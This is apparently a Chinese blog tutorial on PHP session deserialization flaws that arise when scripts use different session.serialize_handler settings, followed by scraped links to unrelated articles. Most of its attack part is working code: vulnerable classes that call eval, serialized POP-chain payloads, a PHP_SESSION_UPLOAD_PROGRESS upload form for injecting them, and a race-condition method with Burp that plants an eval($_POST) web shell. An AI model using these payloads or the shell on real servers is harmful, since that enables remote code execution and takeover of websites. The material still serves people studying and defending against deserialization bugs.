1、php   键名 + 竖线 + 经过 serialize() 函数反序列处理的值
2、php_binary    键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
3、php_serialize (php>=5.5.4)    经过 serialize() 函数反序列处理的数组

phpinfo.php默认处理方式就是php

第一种php的:

ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['afanti']='test';

生成的session文件      afanti|s:4:"test";

第二种php_binary:

ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['afanti']='test';

生成的session文件      afantis:4:"test";

第三种php_serialize :

ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['afanti']='test';

生成的session文件    a:1:{s:6:"afanti";s:4:"test";}

如果脚本中设置的序列化处理器与php.ini设置的不同,或者两个脚本注册session使用的序列化处理器不同,那么就会出现安全问题。
原因是未正确处理\\’|\\’,如果以php_serilize方式存入,比如我们构造出”|” 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据

举个简单例子,看下session参数配置:

存在index.php和class.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
index.php,使用php_serialize来存放session

ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

class.php

使用php来使用session。这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";}作为value,然后进行反序列化,最后就会得到lemon这个类,覆盖h1变量是phpinfo();就会被执行。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

<?php 

ini_set('session.serialize_handler', 'php');
session_start();
var_dump($_SESSION);
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
} function __destruct() {
eval($this->hi);
}
}
?>

exp.php构造payload

<?php 

class lemon
{
public $hi = 'phpinfo();';
}
$a = new lemon();
echo serialize($a); //O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";}

将构造好的payload:|O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";} 提交就会生成如下seesion文件。

访问class.php时 var_dump($_SESSION); a:1:{s:6:"spoock";s:44:" 已经当做key了。我构造好的payload当做值了。成功执行了phpino()函数。

小结一下:

1、在存储session时,php_serialize来处理session(默认设置时,看phpinfo页面)

2、使用session时,使用php处理session。

3、什么时候反序列化session对象,记住当使用session_start()函数的时候,就会自动反序列化session文件中的对象。

接下来一道实战:

class.php 明显是让构造pop链

class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
} class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
} class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}

index.php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();
var_dump($_SESSION); $obj = new foo1(); $obj->varr = "phpinfo.php";

phpinfo页面,这时候知道存储session时是php_serialize. index.php处理session是 php。所以存在反序列化的洞

我们先构造payload:  执行phpinfo函数。 O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}

<?php 

class foo3{
public $varr='phpinfo();';
function execute()
{
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
} class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
} }
$a = new foo1();
echo serialize($a); //O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}

问题来了。我们输入不可控制,怎么注入payload,这个可以参考另一篇我写的文章。

写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下,在123的位置注入payload

<form action="index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

怎么进行注入,访问哪个页面会写入session中哪?其实当我们访问网站任意一个网页(保证session是以php_serialize方式存储的都可以)就能将session注入到文件中这里。建立一个index1.php空网页。

构造如下数据包:

生成的session文件内容

访问index.php。因为index.php 有session_start()有反序列化操作,还包含了class.php类,

看我们打印出来的session.因为是php处理的session,a:1:{s:146:"upload_progress_121被当做key。注入的对象当成值,导致注入,成功执行了phpinfo()。

假如cleanup开启是on时,回清空注入的payload。我们可以通过时间竞争来生成shell.

通过burp 如下配置

当开始跑的时候,访问index.php。下面是成功反序列化的结果。当把payload换成 file_put_content('file','<?php eval($_POST['afanti']);?>');访问就能生成shell

参考连接:

https://yq.aliyun.com/ziliao/612

http://www.91ri.org/15925.html

php中session中的反序列的更多相关文章

  1. 第十六节:Asp.Net Core中Session的使用、扩展、进程外Session

    一. 简介 关于Session的原理可参照Asp.Net版本Session的文章,去查阅. 1. 普通用法 (1).通过Nuget引入[Microsoft.AspNetCore.Http]程序集,Co ...

  2. PHP 中Session 反序列化机制的三种方法

    �php.ini中存在三项配置项: session.save_path="" --设置session的存储路径 session.save_handler=""- ...

  3. ASP.NET中Session的sessionState 4种mode模式

    1. sessionState的4种mode模式 在ASP.NET中Session的sessionState的4中mode模式:Off.InProc.StateServer及SqlServer. 2. ...

  4. Hibernate Session中的save(),update(),delete(),saveOrUpdate() 细粒度分析

    Hibernate在对资料库进行操作之前,必须先取得Session实例,相当于JDBC在对资料库操作之前,必须先取得Connection实例, Session是Hibernate操作的基础,它不是设计 ...

  5. Spring MVC中Session的正确用法<转>

    Spring MVC是个非常优秀的框架,其优秀之处继承自Spring本身依赖注入(Dependency Injection)的强大的模块化和可配置性,其设计处处透露着易用性.可复用性与易集成性.优良的 ...

  6. Session中load/get方法的详细区别

    Session.load/get方法均可以根据指定的实体类和id从数据库读取记录,并返回与之对应的实体对象.其区别在于: 如果未能发现符合条件的记录,get方法返回null,而load方法会抛出一个O ...

  7. 取出session中的所有属性与值的方法

    如果你想取出session中所有的属性和值,可以通过getAttributeNames()方法来实现,具体代码如下 //获取session HttpSession session = request. ...

  8. php中session原理及安全性问题

    有一点我们必须承认,大多数web应用程序都离不开session的使用.这篇文章将会结合php以及http协议来分析如何建立一个安全的会话管理机制   我们先简单的了解一些http的知识,从而理解该协议 ...

  9. java 中Session 持久化问题

    首先: 今天发现了个session 持久化的问题 在Tomcat 停止运行后再启动  session  中保存的东西还会存在 ,百度了一下 原理 1.Session Create 时 2.Sessio ...

随机推荐

  1. Linux基础学习1--档案的属性和目录

    用命令 ls -al可以列出当前所有档案,和档案的各种情况 第一块是档案属性:一共10个,第一个代表档案类型 {d:目录,-:档案,l:连接档,b:接口设备,c:串行端口设备},接下来是三个一组,第一 ...

  2. (二)Apache服务器的下载与安装

    PHP的运行必然少不了服务器的支持,何为服务器?通俗讲就是在一台计算机上,安装个服务器软件,这台计算机便可以称之为服务器,服务器软件和计算机本身的操作系统是两码事,计算机自身的操作系统可以为linux ...

  3. VPS虚拟化架构OpenVZ、KVM、Xen、Hyper-V的区别

    1.OpenVZ OpenVZ(简称OVZ)采用SWsoft的Virutozzo虚拟化服务器软件产品的内核,是基于Linux平台的操作系统级服务器虚拟化架构.这个架构直接调用宿主机(俗称:母机)中的内 ...

  4. spss C# 二次开发 学习笔记(五)——Spss系统集成模式

    Spss官方不支持Server2008R2等Server系列,但做Spss的二次开发,调用Spss的Web系统,一般部署在Server系列上,例如Server2008R2. 起初,在Server上安装 ...

  5. 从BASE理论到CAP理论

    BASE理论面向的是大型高可用可扩展的分布式系统,和传统事务的CID特性是相反的,它完全不同于ACID的强一致性模型,而是提出通过牺牲强一致性来获得可用性,并允许数据在一段时间内是不一致的,但最终达到 ...

  6. SQLHappy微软数据库连接查询操作,对数据的处理和查询

    (软件已更新,部分介绍与新版软件有出处) 1.服务连接界面介绍 2.主界面介绍 3.表搜索介绍 4.命令菜单部分介绍 5.插件介绍 6.帮助菜单介绍 7.数据库列表右键菜单 8.数据库结构和数据操作( ...

  7. OpenStack IceHouse 部署 - 4 - 计算节点部署

    Nova计算服务(计算节点)  参考 本页内容依照官方安装文档进行,具体参见Configure a compute node(nova service) 前置工作 数据库 由于我们在Nova(计算管理 ...

  8. SQL修改表结构

    --(1)向数据库Student表中添加Name字段 use MR_NXT alter table student add Name char(20) --(2)将Student表中Name的字段的数 ...

  9. 用CSS3/JS绘制自己想要的按钮

    我认为按钮的绘制分以下三个步骤 第一步,绘制按钮的轮廓 选择合适的html标签,设置轮廓的CSS /* html代码 */ <a href="#" class="b ...

  10. Ubuntu增加一个用户并给普通用户赋予root权限的方法

    1.添加用户,首先用adduser命令添加一个普通用户,命令如下: #adduser tommy //添加一个名为tommy的用户#passwd tommy   //修改密码Changing pass ...